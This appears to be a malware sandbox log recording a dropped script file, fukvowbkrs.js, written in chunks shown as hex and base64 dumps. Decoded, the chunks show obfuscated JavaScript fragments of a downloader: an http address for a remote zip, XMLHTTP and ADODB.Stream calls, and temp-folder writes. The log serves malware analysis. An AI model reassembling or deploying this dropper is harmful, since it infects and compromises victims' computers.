65 44 55 77 58 48 67 
7a 4e 56 78 34 4e 7a 
42 63 65 44 63 30 58 
48 67 30 51 31 78 34 
4e 44 4e 63 65 44 63 
77 58 48 67 33 51 56 
78 34 4e 30 46 63 65 
44 51 7a 58 48 67 7a 
4f 56 78 34 4d 7a 56 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 55 30 
58 48 67 30 4e 56 78 
34 4d 7a 42 63 65 44 
4d 33 58 48 67 31 4f 
46 78 34 4e 7a 6d 63 
65 44 55 30 58 48 67 
33 4d 56 78 34 4e 45 
52 63 65 44 4d 7a 58 
48 67 31 4d 46 78 34 
4d 6b 5a 63 65 44 4d 
35 58 48 67 33 4d 56 
78 34 4d 7a 4e 63 65 
44 4d 32 58 48 67 30 
52 56 78 34 4e 6b 5a 
63 65 44 52 44 58 48 
67 30 4d 6c 78 34 4e 
45 52 63 65 44 4d 32 
58 48 67 30 51 56 78 
34 4e 54 6c 63 65 44 
55 77 58 48 67 33 4d 
31 78 34 

DBceDM5XHg1MVx4NzR
ceDMxXHgzN1x
4NjZceDUwXHgzNVx4Nz
BceDc0XHg0Q
1x4NDNceDcwXHg3QVx4
N0FceDQzXHg
zOVx4MzVceDNFXHgyNV
x4NDBceDU0X
Hg0NVx4MzBceDM3XHg1
OFx4NzmceDU
0XHg3MVx4NERceDMzX
Hg1MFx4MkZce
DM5XHg3MVx4MzNceDM
2XHg0RVx4NkZ
ceDRDXHg0Mlx4NERceD
M2XHg0QVx4N
TlceDUwXHg3M1x4
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 5a 63 65 44 4d 33 
58 48 67 30 52 56 78 
34 4d 7a 4a 63 65 44 
51 33 58 48 67 32 4f 
46 78 34 4e 54 52 63 
65 44 52 45 58 48 67 
33 4d 6c 78 34 4e 6a 
6d 63 65 44 52 42 58 
48 67 30 4d 31 78 34 
4e 30 46 63 65 44 63 
77 58 48 67 31 4e 31 
78 34 4e 44 6d 63 65 
44 55 79 58 48 67 32 
4e 31 78 34 4e 44 6d 
63 65 44 4d 33 58 48 
67 32 4e 56 78 34 4e 
54 52 63 65 44 4d 35 
58 48 67 30 4e 56 78 
34 4e 54 46 63 65 44 
4d 34 58 48 67 7a 4e 
56 78 34 4e 44 4a 63 
65 44 59 34 58 48 67 
32 51 56 78 34 4e 6a 
6d 63 65 44 63 34 58 
48 67 33 4e 6c 78 34 
4d 7a 56 63 65 44 51 
32 58 48 67 31 4f 56 
78 34 4e 54 56 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 63 32 58 48 
67 30 52 56 78 34 4e 
6a 52 63 65 44 56 42 
58 48 67 32 4f 56 78 
34 4e 7a 42 63 65 44 
51 35 58 48 67 33 51 
56 78 34 

zZceDM3XHg0RVx4MzJc
eDQ3XHg2OFx
4NTRceDREXHg3Mlx4Nj
mceDRBXHg0M
1x4N0FceDcwXHg1N1x4N
DmceDUyXHg
2N1x4NDmceDM3XHg2N
Vx4NTRceDM5X
Hg0NVx4NTFceDM4XHgz
NVx4NDJceDY
4XHg2QVx4NjmceDc4XH
g3Nlx4MzVce
DQ2XHg1OVx4NTVceDN
FXHgyNVx4NDB
ceDc2XHg0RVx4NjRceDV
BXHg2OVx4N
zBceDQ5XHg3QVx4

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6b 4a 63 65 44 51 34 
58 48 67 31 4f 56 78 
34 4e 54 52 63 65 44 
52 45 58 48 67 30 4f 
46 78 34 4e 6b 4e 63 
65 44 51 30 58 48 67 
33 4f 56 78 34 4e 7a 
4e 63 65 44 55 35 58 
48 67 32 51 6c 78 34 
4e 44 4e 63 65 44 59 
34 58 48 67 33 4d 31 
78 34 4e 45 5a 63 65 
44 4d 77 58 48 67 33 
4e 56 78 34 4e 6a 46 
63 65 44 55 32 58 48 
67 30 51 31 78 34 4e 
44 6c 63 65 44 63 31 
58 48 67 32 4f 56 78 
34 4d 7a 42 63 65 44 
63 31 58 48 67 79 51 
6c 78 34 4d 7a 4a 63 
65 44 59 79 58 48 67 
30 4f 46 78 34 4d 6b 
4a 63 65 44 55 78 58 
48 67 7a 4f 46 78 34 
4e 45 46 63 65 44 4d 
78 58 48 67 33 4f 46 
78 34 4e 6a 52 63 65 
44 5a 46 58 48 67 33 
4f 46 78 34 4e 7a 6c 
63 65 44 59 78 58 48 
67 30 4e 6c 78 34 4d 
7a 4e 63 65 44 63 31 
58 48 67 30 51 6c 78 
34 4e 7a 4e 63 65 44 
4a 47 58 48 67 32 4d 
56 78 34 

kJceDQ4XHg1OVx4NTRc
eDREXHg0OFx
4NkNceDQ0XHg3OVx4Nz
NceDU5XHg2Q
lx4NDNceDY4XHg3M1x4N
EZceDMwXHg
3NVx4NjFceDU2XHg0Q1x
4NDlceDc1X
Hg2OVx4MzBceDc1XHgy
Qlx4MzJceDY
yXHg0OFx4MkJceDUxXH
gzOFx4NEFce
DMxXHg3OFx4NjRceDZF
XHg3OFx4Nzl
ceDYxXHg0Nlx4MzNceDc
1XHg0Qlx4N
zNceDJGXHg2MVx4
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C:\Users\user\fukvowbkrs.js unknown 1024 6a 6c 63 65 44 4d 79 
58 48 67 7a 4e 46 78 
34 4d 7a 4a 63 65 44 
63 32 58 48 67 33 4e 
6c 78 34 4e 6b 46 63 
65 44 59 78 58 48 67 
32 51 31 78 34 4d 7a 
6c 63 65 44 63 34 58 
48 67 32 52 6c 78 34 
4e 6a 56 63 65 44 63 
35 58 48 67 32 52 6c 
78 34 4d 7a 4e 63 65 
44 55 33 58 48 67 33 
4e 56 78 34 4e 45 5a 
63 65 44 4d 31 58 48 
67 7a 4d 31 78 34 4e 
44 6d 63 65 44 59 35 
58 48 67 32 52 56 78 
34 4e 6a 6c 63 65 44 
63 32 58 48 67 79 52 
6c 78 34 4e 44 56 63 
65 44 4a 43 58 48 67 
30 4d 31 78 34 4d 7a 
6c 63 65 44 55 78 58 
48 67 31 4d 31 78 34 
4e 7a 6d 63 65 44 59 
7a 58 48 67 30 4f 56 
78 34 4e 6a 6c 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 55 77 58 48 
67 32 4e 31 78 34 4e 
6a 52 63 65 44 4d 78 
58 48 67 32 52 6c 78 
34 4e 45 46 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 

jlceDMyXHgzNFx4MzJceD
c2XHg3Nlx
4NkFceDYxXHg2Q1x4Mzl
ceDc4XHg2R
lx4NjVceDc5XHg2Rlx4Mz
NceDU3XHg
3NVx4NEZceDM1XHgzM1
x4NDmceDY5X
Hg2RVx4NjlceDc2XHgyRl
x4NDVceDJ
CXHg0M1x4MzlceDUxXH
g1M1x4Nzmce
DYzXHg0OVx4NjlceDNFX
HgyNVx4NDB
ceDUwXHg2N1x4NjRceD
MxXHg2Rlx4N
EFceDNFXHgyNVx4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 6b 5a 63 65 44 4d 35 
58 48 67 7a 4e 6c 78 
34 4e 44 4a 63 65 44 
4d 35 58 48 67 7a 4e 
6c 78 34 4e 45 52 63 
65 44 52 43 58 48 67 
33 4e 31 78 34 4e 6a 
56 63 65 44 56 42 58 
48 67 33 4d 31 78 34 
4d 7a 52 63 65 44 63 
33 58 48 67 7a 4f 56 
78 34 4e 7a 6d 63 65 
44 55 33 58 48 67 33 
51 56 78 34 4d 7a 4e 
63 65 44 4d 31 58 48 
67 30 4d 6c 78 34 4e 
7a 4a 63 65 44 5a 46 
58 48 67 30 51 6c 78 
34 4e 45 4a 63 65 44 
5a 47 58 48 67 30 4e 
6c 78 34 4e 45 56 63 
65 44 5a 43 58 48 67 
31 51 56 78 34 4e 45 
4e 63 65 44 59 33 58 
48 67 7a 4e 56 78 34 
4e 54 46 63 65 44 5a 
43 58 48 67 32 51 56 
78 34 4e 7a 4e 63 65 
44 51 30 58 48 67 30 
51 31 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4e 
7a 6c 63 65 44 63 33 
58 48 67 30 52 6c 78 
34 4e 44 56 63 65 44 
51 30 58 48 67 32 4f 
46 78 34 

kZceDM5XHgzNlx4NDJce
DM5XHgzNlx
4NERceDRCXHg3N1x4Nj
VceDVBXHg3M
1x4MzRceDc3XHgzOVx4
NzmceDU3XHg
3QVx4MzNceDM1XHg0Ml
x4NzJceDZFX
Hg0Qlx4NEJceDZGXHg0
Nlx4NEVceDZ
CXHg1QVx4NENceDY3X
HgzNVx4NTFce
DZCXHg2QVx4NzNceDQ0
XHg0Q1x4M0V
ceDI1XHg0MFx4NzlceDc3
XHg0Rlx4N
DVceDQ0XHg2OFx4

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 4e 63 65 44 63 7a 
58 48 67 31 4e 31 78 
34 4e 44 6c 63 65 44 
59 78 58 48 67 7a 4d 
31 78 34 4e 54 6d 63 
65 44 59 31 58 48 67 
30 4e 46 78 34 4e 44 
6d 63 65 44 4d 32 58 
48 67 33 4f 56 78 34 
4e 54 6d 63 65 44 4d 
32 58 48 67 30 52 6c 
78 34 4d 7a 68 63 65 
44 63 79 58 48 67 32 
4f 46 78 34 4e 30 46 
63 65 44 55 79 58 48 
67 33 51 56 78 34 4e 
7a 56 63 65 44 4d 31 
58 48 67 32 4e 6c 78 
34 4e 44 4a 63 65 44 
55 33 58 48 67 30 4d 
31 78 34 4e 6a 4e 63 
65 44 63 30 58 48 67 
33 4f 46 78 34 4e 54 
68 63 65 44 52 45 58 
48 67 30 4f 56 78 34 
4e 45 4a 63 65 44 63 
32 58 48 67 30 4e 56 
78 34 4e 54 68 63 65 
44 51 7a 58 48 67 31 
4e 6c 78 34 4e 6a 5a 
63 65 44 63 34 58 48 
67 33 4e 56 78 34 4e 
45 46 63 65 44 55 32 
58 48 67 7a 4e 46 78 
34 4e 6a 6d 63 65 44 
55 35 58 48 67 31 4d 
6c 78 34 

zNceDczXHg1N1x4NDlce
DYxXHgzM1x
4NTmceDY1XHg0NFx4ND
mceDM2XHg3O
Vx4NTmceDM2XHg0Rlx4
MzhceDcyXHg
2OFx4N0FceDUyXHg3QV
x4NzVceDM1X
Hg2Nlx4NDJceDU3XHg0M
1x4NjNceDc
0XHg3OFx4NThceDREXH
g0OVx4NEJce
Dc2XHg0NVx4NThceDQz
XHg1Nlx4NjZ
ceDc4XHg3NVx4NEFceD
U2XHgzNFx4N
jmceDU5XHg1Mlx4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 7a 4a 63 65 44 51 32 
58 48 67 31 4d 6c 78 
34 4e 44 6c 63 65 44 
59 78 58 48 67 7a 4d 
6c 78 34 4e 45 5a 63 
65 44 4a 43 58 48 67 
32 4e 6c 78 34 4e 6b 
56 63 65 44 55 33 58 
48 67 33 4d 31 78 34 
4d 7a 56 63 65 44 63 
33 58 48 67 30 51 56 
78 34 4e 54 52 63 65 
44 52 45 58 48 67 32 
4d 56 78 34 4d 6b 5a 
63 65 44 51 33 58 48 
67 32 4e 6c 78 34 4e 
45 56 63 65 44 63 7a 
58 48 67 33 51 56 78 
34 4e 7a 6c 63 65 44 
55 79 58 48 67 33 4e 
31 78 34 4d 7a 6c 63 
65 44 63 77 58 48 67 
31 4e 56 78 34 4e 6a 
4a 63 65 44 4d 79 58 
48 67 30 51 6c 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4e 54 5a 63 65 
44 5a 44 58 48 67 31 
4d 6c 78 34 4e 45 56 
63 65 44 55 34 58 48 
67 31 4e 56 78 34 4e 
7a 6d 63 65 44 59 33 
58 48 67 30 4d 31 78 
34 4e 55 46 63 65 44 
59 31 58 48 67 33 51 
56 78 34 

zJceDQ2XHg1Mlx4NDlce
DYxXHgzMlx
4NEZceDJCXHg2Nlx4NkV
ceDU3XHg3M
1x4MzVceDc3XHg0QVx4
NTRceDREXHg
2MVx4MkZceDQ3XHg2Nl
x4NEVceDczX
Hg3QVx4NzlceDUyXHg3N
1x4MzlceDc
wXHg1NVx4NjJceDMyXH
g0Qlx4M0Vce
DI1XHg0MFx4NTZceDZD
XHg1Mlx4NEV
ceDU4XHg1NVx4NzmceD
Y3XHg0M1x4N
UFceDY1XHg3QVx4

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6b 4e 63 65 44 63 79 
58 48 67 30 52 6c 78 
34 4e 7a 42 63 65 44 
59 31 58 48 67 32 51 
31 78 34 4e 54 6d 63 
65 44 52 47 58 48 67 
32 4e 6c 78 34 4e 6b 
4e 63 65 44 55 35 58 
48 67 79 52 6c 78 34 
4e 6a 56 63 65 44 63 
78 58 48 67 33 4f 46 
78 34 4e 54 5a 63 65 
44 52 42 58 48 67 30 
4e 31 78 34 4e 44 6d 
63 65 44 4d 78 58 48 
67 30 4d 31 78 34 4d 
7a 46 63 65 44 63 35 
58 48 67 7a 4f 56 78 
34 4e 45 56 63 65 44 
55 35 58 48 67 31 4e 
56 78 34 4e 45 4e 63 
65 44 4d 77 58 48 67 
7a 4f 56 78 34 4e 6a 
6c 63 65 44 5a 43 58 
48 67 32 4d 6c 78 34 
4d 7a 6d 63 65 44 5a 
44 58 48 67 33 4d 6c 
78 34 4d 7a 42 63 65 
44 63 7a 58 48 67 32 
51 56 78 34 4e 54 5a 
63 65 44 51 32 58 48 
67 32 4e 6c 78 34 4e 
7a 4a 63 65 44 51 30 
58 48 67 30 4d 31 78 
34 4e 54 6d 63 65 44 
4d 78 58 48 67 7a 4d 
31 78 34 

kNceDcyXHg0Rlx4NzBce
DY1XHg2Q1x
4NTmceDRGXHg2Nlx4Nk
NceDU5XHgyR
lx4NjVceDcxXHg3OFx4NT
ZceDRBXHg
0N1x4NDmceDMxXHg0M
1x4MzFceDc5X
HgzOVx4NEVceDU5XHg1
NVx4NENceDM
wXHgzOVx4NjlceDZCXHg
2Mlx4Mzmce
DZDXHg3Mlx4MzBceDcz
XHg2QVx4NTZ
ceDQ2XHg2Nlx4NzJceDQ
0XHg0M1x4N
TmceDMxXHgzM1x4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 54 56 63 65 44 52 43 
58 48 67 7a 4d 6c 78 
34 4d 7a 6d 63 65 44 
63 30 58 48 67 7a 4d 
6c 78 34 4d 7a 56 63 
65 44 55 32 58 48 67 
33 4d 46 78 34 4e 7a 
5a 63 65 44 59 30 58 
48 67 7a 4d 31 78 34 
4e 6a 68 63 65 44 55 
34 58 48 67 32 4e 56 
78 34 4e 45 52 63 65 
44 4d 77 58 48 67 31 
4e 31 78 34 4e 30 46 
63 65 44 4d 32 58 48 
67 33 4d 56 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 6a 6d 63 65 44 
55 30 58 48 67 33 4d 
6c 78 34 4e 6b 4e 63 
65 44 4d 33 58 48 67 
30 4f 46 78 34 4e 6b 
46 63 65 44 4d 35 58 
48 67 32 4e 6c 78 34 
4e 6a 6c 63 65 44 63 
77 58 48 67 7a 4f 46 
78 34 4e 44 6c 63 65 
44 51 79 58 48 67 32 
4e 46 78 34 4e 54 68 
63 65 44 63 78 58 48 
67 32 4e 6c 78 34 4e 
44 68 63 65 44 59 7a 
58 48 67 33 4d 31 78 
34 4e 44 4e 63 65 44 
4d 32 58 48 67 7a 4e 
6c 78 34 

TVceDRCXHgzMlx4Mzmc
eDc0XHgzMlx
4MzVceDU2XHg3MFx4Nz
ZceDY0XHgzM
1x4NjhceDU4XHg2NVx4N
ERceDMwXHg
1N1x4N0FceDM2XHg3MV
x4M0VceDI1X
Hg0MFx4NjmceDU0XHg3
Mlx4NkNceDM
3XHg0OFx4NkFceDM5XH
g2Nlx4Njlce
DcwXHgzOFx4NDlceDQy
XHg2NFx4NTh
ceDcxXHg2Nlx4NDhceDY
zXHg3M1x4N
DNceDM2XHgzNlx4

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 68 63 65 44 51 35 
58 48 67 32 52 56 78 
34 4e 6a 5a 63 65 44 
59 7a 58 48 67 33 4d 
56 78 34 4e 7a 42 63 
65 44 4d 78 58 48 67 
32 4e 6c 78 34 4d 7a 
46 63 65 44 63 34 58 
48 67 31 4e 56 78 34 
4e 44 56 63 65 44 51 
30 58 48 67 30 51 6c 
78 34 4e 7a 46 63 65 
44 5a 44 58 48 67 31 
4e 46 78 34 4e 6b 5a 
63 65 44 4d 35 58 48 
67 7a 4f 46 78 34 4e 
44 56 63 65 44 5a 44 
58 48 67 31 4f 56 78 
34 4e 6a 6d 63 65 44 
55 32 58 48 67 32 51 
31 78 34 4e 54 6c 63 
65 44 5a 42 58 48 67 
31 4d 6c 78 34 4e 6b 
4a 63 65 44 55 35 58 
48 67 33 4e 31 78 34 
4e 7a 5a 63 65 44 55 
7a 58 48 67 32 51 31 
78 34 4e 7a 4a 63 65 
44 63 35 58 48 67 32 
4d 31 78 34 4e 54 6d 
63 65 44 5a 44 58 48 
67 33 4d 56 78 34 4e 
54 6c 63 65 44 4d 7a 
58 48 67 32 52 46 78 
34 4e 54 5a 63 65 44 
4d 78 58 48 67 32 51 
6c 78 34 

zhceDQ5XHg2RVx4NjZce
DYzXHg3MVx
4NzBceDMxXHg2Nlx4MzF
ceDc4XHg1N
Vx4NDVceDQ0XHg0Qlx4
NzFceDZDXHg
1NFx4NkZceDM5XHgzOF
x4NDVceDZDX
Hg1OVx4NjmceDU2XHg2
Q1x4NTlceDZ
BXHg1Mlx4NkJceDU5XHg
3N1x4NzZce
DUzXHg2Q1x4NzJceDc5
XHg2M1x4NTm
ceDZDXHg3MVx4NTlceD
MzXHg2RFx4N
TZceDMxXHg2Qlx4

success or wait 1 6F489FBC WriteFile
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34 4d 7a 4e 63 65 44 
52 42 58 48 67 32 52 
56 78 34 4e 6a 4e 63 
65 44 4d 79 58 48 67 
30 51 56 78 34 4e 6b 
4a 63 65 44 52 44 58 
48 67 32 52 46 78 34 
4e 45 56 63 65 44 63 
7a 58 48 67 31 4f 56 
78 34 4e 54 68 63 65 
44 52 46 58 48 67 33 
51 56 78 34 4e 54 56 
63 65 44 51 31 58 48 
67 33 4d 31 78 34 4e 
44 4a 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
59 34 58 48 67 31 4d 
56 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 44 
5a 63 65 

QwXHgzRVx4MjVceDQw
XHg0N1x4NEVc
eDY4XHg2M1x4NkJceDc4
XHg2OFx4Nj
JceDU3XHg0QVx4NzZce
DRDXHgzM1x4
NEVceDZEXHg2M1x4Mz
NceDRBXHg2RV
x4NjNceDMyXHg0QVx4N
kJceDRDXHg2
RFx4NEVceDczXHg1OVx
4NThceDRFXH
g3QVx4NTVceDQ1XHg3M
1x4NDJceDNF
XHgyNVx4NDBceDY4XHg
1MVx4M0VceD
I1XHg0MFx4NDZce
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48 67 31 4e 56 78 34 
4d 30 56 63 65 44 49 
31 58 48 67 30 4d 46 
78 34 4d 30 56 63 65 
44 49 31 58 48 67 30 
4d 46 78 34 4e 44 6d 
63 65 44 52 46 58 48 
67 32 4f 46 78 34 4e 
6a 4e 63 65 44 5a 43 
58 48 67 33 4f 46 78 
34 4e 6a 68 63 65 44 
59 79 58 48 67 31 4e 
31 78 34 4e 45 46 63 
65 44 63 32 58 48 67 
30 51 31 78 34 4d 7a 
4a 63 65 44 56 42 58 
48 67 32 51 6c 78 34 
4e 55 46 63 65 44 4d 
79 58 48 67 32 4f 46 
78 34 4e 6b 4a 63 65 
44 59 79 58 48 67 31 
4e 31 78 34 4e 6a 6d 
63 65 44 63 31 58 48 
67 31 4f 56 78 34 4d 
7a 4a 63 65 44 63 34 
58 48 67 32 4f 46 78 
34 4e 6a 4e 63 65 44 
4d 7a 58 48 67 30 52 
56 78 34 4e 54 46 63 
65 44 55 7a 58 48 67 
33 4e 31 78 34 4e 44 
56 63 65 

I1XHg0MFx4M0VceDI1XH
g0MFx4NEFc
eDY0XHg1NVx4M0VceDI
1XHg0MFx4M0
VceDI1XHg0MFx4NDmce
DRFXHg2OFx4
NjNceDZCXHg3OFx4Njhc
eDYyXHg1N1
x4NEFceDc2XHg0Q1x4M
zJceDVBXHg2
Qlx4NUFceDMyXHg2OFx
4NkJceDYyXH
g1N1x4NjmceDc1XHg1OV
x4MzJceDc4
XHg2OFx4NjNceDMzXHg
0RVx4NTFceD
UzXHg3N1x4NDVce
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58 48 67 32 51 79 49 
73 49 6c 78 34 4d 6a 
56 63 65 44 63 30 58 
48 67 32 4e 56 78 34 
4e 6b 52 63 65 44 63 
77 58 48 67 79 4e 53 
49 73 49 6c 78 34 4d 
6a 56 63 65 44 59 78 
58 48 67 33 4d 46 78 
34 4e 7a 42 63 65 44 
59 30 58 48 67 32 4d 
56 78 34 4e 7a 52 63 
65 44 59 78 58 48 67 
79 4e 53 49 73 49 6c 
78 34 4e 55 4d 69 4c 
43 4a 63 65 44 4a 46 
58 48 67 33 4e 46 78 
34 4e 7a 68 63 65 44 
63 30 49 69 77 69 58 
48 67 31 4d 31 78 34 
4e 6a 4e 63 65 44 63 
79 58 48 67 32 4f 56 
78 34 4e 7a 42 63 65 
44 63 30 58 48 67 32 
4f 56 78 34 4e 6b 56 
63 65 44 59 33 58 48 
67 79 52 56 78 34 4e 
44 5a 63 65 44 59 35 
58 48 67 32 51 31 78 
34 4e 6a 56 63 65 44 
55 7a 58 48 67 33 4f 
56 78 34 4e 7a 4e 63 
65 44 63 

NFx4MkVceDUzXHg2OFx
4NjVceDZDXH
g2QyIsIlx4MjVceDc0XHg2
NVx4NkRc
eDcwXHgyNSIsIlx4MjVce
DYxXHg3MF
x4NzBceDY0XHg2MVx4N
zRceDYxXHgy
NSIsIlx4NUMiLCJceDJFX
Hg3NFx4Nz
hceDc0IiwiXHg1M1x4NjNc
eDcyXHg2
OVx4NzBceDc0XHg2OVx
4NkVceDY3XH
gyRVx4NDZceDY5XHg2Q
1x4NjVceDUz
XHg3OVx4NzNceDc
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7a 5a 63 65 44 59 78 
58 48 67 30 4f 46 78 
34 4e 6b 5a 63 65 44 
5a 45 58 48 67 32 4e 
53 49 73 49 6c 78 34 
4e 44 68 63 65 44 52 
43 58 48 67 30 51 31 
78 34 4e 45 52 63 65 
44 56 44 58 48 67 31 
4d 31 78 34 4e 45 5a 
63 65 44 51 32 58 48 
67 31 4e 46 78 34 4e 
54 6d 63 65 44 51 78 
58 48 67 31 4d 6c 78 
34 4e 44 56 63 65 44 
56 44 58 48 67 30 51 
56 78 34 4e 6a 46 63 
65 44 63 32 58 48 67 
32 4d 56 78 34 4e 54 
4e 63 65 44 5a 47 58 
48 67 32 4e 6c 78 34 
4e 7a 52 63 65 44 56 
44 58 48 67 30 51 56 
78 34 4e 6a 46 63 65 
44 63 32 58 48 67 32 
4d 56 78 34 4d 6a 42 
63 65 44 55 79 58 48 
67 33 4e 56 78 34 4e 
6b 56 63 65 44 63 30 
58 48 67 32 4f 56 78 
34 4e 6b 52 63 65 44 
59 31 58 48 67 79 4d 
46 78 34 4e 44 56 63 
65 44 5a 

Ilx4NUNceDRBXHg2MVx4
NzZceDYxXH
g0OFx4NkZceDZEXHg2N
SIsIlx4NDhc
eDRCXHg0Q1x4NERceDV
DXHg1M1x4NE
ZceDQ2XHg1NFx4NTmce
DQxXHg1Mlx4
NDVceDVDXHg0QVx4NjF
ceDc2XHg2MV
x4NTNceDZGXHg2Nlx4Nz
RceDVDXHg0
QVx4NjFceDc2XHg2MVx4
MjBceDUyXH
g3NVx4NkVceDc0XHg2O
Vx4NkRceDY1
XHgyMFx4NDVceDZ
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44 51 78 58 48 67 32 
4e 46 78 34 4e 6b 5a 
63 65 44 59 30 58 48 
67 32 4d 6c 78 34 4d 
6b 56 63 65 44 55 7a 
58 48 67 33 4e 46 78 
34 4e 7a 4a 63 65 44 
59 31 58 48 67 32 4d 
56 78 34 4e 6b 51 69 
4c 43 4a 63 65 44 51 
33 58 48 67 30 4e 56 
78 34 4e 54 51 69 4c 
43 4a 63 65 44 59 34 
58 48 67 33 4e 46 78 
34 4e 7a 52 63 65 44 
63 77 58 48 67 7a 51 
56 78 34 4d 6b 5a 63 
65 44 4a 47 58 48 67 
32 52 6c 78 34 4e 7a 
42 63 65 44 63 7a 58 
48 67 79 52 56 78 34 
4e 6a 4e 63 65 44 5a 
47 58 48 67 32 52 46 
78 34 4d 6b 56 63 65 
44 63 77 58 48 67 32 
4d 56 78 34 4d 6b 5a 
63 65 44 5a 42 58 48 
67 33 4d 6c 78 34 4e 
6a 56 63 65 44 4d 33 
58 48 67 79 52 56 78 
34 4e 30 46 63 65 44 
59 35 58 

XHg3MFx4MkVceDM2XH
gyRVx4Mz>%@i
LCJceDQxXHg2NFx4NkZ
ceDY0XHg2Ml
x4MkVceDUzXHg3NFx4N
zJceDY1XHg2
MVx4NkQiLCJceDQ3XHg
0NVx4NTQiLC
JceDY4XHg3NFx4NzRce
DcwXHgzQVx4
MkZceDJGXHg2Rlx4NzBc
eDczXHgyRV
x4NjNceDZGXHg2RFx4M
kVceDcwXHg2
MVx4MkZceDZBXHg3Mlx
4NjVceDM3XH
gyRVx4N0FceDY5X
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63 65 44 5a 42 58 48 
67 32 4d 56 78 34 4e 
7a 4a 63 65 44 49 77 
49 69 77 69 58 48 67 
79 4d 69 49 73 49 6c 
78 34 4d 6a 49 69 4c 
43 4a 63 65 44 52 45 
58 48 67 32 4f 56 78 
34 4e 6a 4e 63 65 44 
63 79 58 48 67 32 52 
6c 78 34 4e 7a 4e 63 
65 44 5a 47 58 48 67 
32 4e 6c 78 34 4e 7a 
52 63 65 44 4a 46 58 
48 67 31 4f 46 78 34 
4e 45 52 63 65 44 52 
44 58 48 67 30 4e 46 
78 34 4e 45 5a 63 65 
44 52 45 49 69 77 69 
58 48 67 33 4e 46 78 
34 4e 6b 52 63 65 44 
63 77 49 69 77 69 58 
48 67 32 4d 6c 78 34 
4e 6a 6c 63 65 44 5a 
46 58 48 67 79 52 56 
78 34 4e 6a 4a 63 65 
44 59 78 58 48 67 33 
4d 31 78 34 4e 6a 56 
63 65 44 4d 32 58 48 
67 7a 4e 43 49 73 49 
6c 78 34 4e 44 46 63 
65 44 51 30 58 48 67 
30 52 6c 78 34 4e 44 
52 63 65 44 51 79 58 
48 67 79 52 56 78 34 
4e 54 4e 

MFx4MkRceDZBXHg2MV
x4NzJceDIwIi
wiXHgyMiIsIlx4MjIiLCJceD
REXHg2
OVx4NjNceDcyXHg2Rlx4
NzNceDZGXH
g2Nlx4NzRceDJFXHg1OF
x4NERceDRD
XHg0NFx4NEZceDREIiwi
XHg3NFx4Nk
RceDcwIiwiXHg2Mlx4Njlce
DZFXHgy
RVx4NjJceDYxXHg3M1x4
NjVceDM2XH
gzNCIsIlx4NDFceDQ0XHg
0Rlx4NDRc
eDQyXHgyRVx4NTN
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63 65 44 59 33 58 48 
67 31 4d 6c 78 34 4e 
6a 56 63 65 44 59 78 
58 48 67 32 4e 43 49 
73 49 6c 78 34 4e 54 
4a 63 65 44 59 31 58 
48 67 32 4e 31 78 34 
4e 54 4a 63 65 44 59 
31 58 48 67 32 4d 56 
78 34 4e 6a 51 69 4c 
43 4a 63 65 44 55 79 
58 48 67 32 4e 56 78 
34 4e 6a 6d 63 65 44 
55 79 58 48 67 32 4e 
56 78 34 4e 6a 46 63 
65 44 59 30 49 69 77 
69 58 48 67 31 4d 6c 
78 34 4e 6a 56 63 65 
44 59 33 58 48 67 31 
4d 6c 78 34 4e 6a 56 
63 65 44 59 78 58 48 
67 32 4e 43 49 73 49 
6c 78 34 4e 7a 4a 63 
65 44 63 31 58 48 67 
32 52 53 49 73 49 6c 
78 34 4e 44 4e 63 65 
44 63 79 58 48 67 32 
4e 56 78 34 4e 6a 46 
63 65 44 63 30 58 48 
67 32 4e 56 78 34 4e 
45 5a 63 65 44 59 79 
58 48 67 32 51 56 78 
34 4e 6a 56 63 65 44 
59 7a 58 48 67 33 4e 
43 49 73 49 6c 78 34 
4e 44 4e 

Mlx4NjVceDY3XHg1Mlx4
NjVceDYxXH
g2NCIsIlx4NTJceDY1XHg
2N1x4NTJc
eDY1XHg2MVx4NjQiLCJc
eDUyXHg2NV
x4NjmceDUyXHg2NVx4Nj
FceDY0Iiwi
XHg1Mlx4NjVceDY3XHg1
Mlx4NjVceD
YxXHg2NCIsIlx4NzJceDc1
XHg2RSIs
Ilx4NDNceDcyXHg2NVx4
NjFceDc0XH
g2NVx4NEZceDYyXHg2Q
Vx4NjVceDYz
XHg3NCIsIlx4NDN
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61 49 43 3e 25 40 39 
49 46 6d 54 59 33 4a 
70 63 48 52 62 56 6b 
77 6b 54 45 38 6b 52 
56 73 30 4e 31 31 6d 
4b 46 5a 4d 4a 45 78 
50 4a 45 56 62 4f 56 
30 70 4f 77 30 4b 6d 
21 46 79 49 48 4e 52 
52 47 31 77 63 21 6d 
4a 5a 57 45 67 50 53 
3e 25 40 69 49 6a 73 
4e 43 6e 52 79 65 58 
73 4e 43 6e 4e 52 52 
47 31 77 63 21 6d 4a 
5a 57 45 67 50 53 42 
73 62 56 39 74 65 55 
74 43 54 6b 52 55 57 
31 5a 4d 4a 45 78 50 
4a 45 56 62 4e 54 56 
6d 58 53 68 57 54 43 
52 4d 54 79 52 46 57 
7a 45 77 58 53 6b 37 
44 51 70 7a 55 55 52 
74 63 48 4a 6e 53 57 
56 68 49 44 30 67 62 
47 31 66 62 58 6c 4c 
51 6b 35 45 56 46 74 
57 54 43 52 4d 54 79 
52 46 57 7a 55 31 58 
